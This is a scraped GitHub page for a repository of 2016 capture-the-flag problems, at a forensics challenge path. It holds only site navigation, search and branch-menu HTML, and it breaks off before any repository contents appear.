<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="62685294" data-scoped-search-url="/ctf-x/ctfx-problems-2016/search" data-owner-scoped-search-url="/orgs/ctf-x/search" data-unscoped-search-url="/search" data-turbo="false" action="/ctf-x/ctfx-problems-2016/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="JSKCKGg8cUqF8cH8Sh7fzF4c+B/86y7t/OlnA+JvKsdicgKfWeUogUKKM/ww3ESxAYbxyltslIreaUYdFJcMJg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> ctf-x </span> <span>/</span> ctfx-problems-2016
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>15</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/ctf-x/ctfx-problems-2016/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":62685294,"originating_url":"https://github.com/ctf-x/ctfx-problems-2016/tree/master/forensics/corrupt-150","user_id":null}}" data-hydro-click-hmac="9185b17dde66d1875cbac19bc4b1b1a36ad0b4220a3196c5233439d88b6df26e"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/ctf-x/ctfx-problems-2016/refs" cache-key="v0:1467772688.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3RmLXgvY3RmeC1wcm9ibGVtcy0yMDE2" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
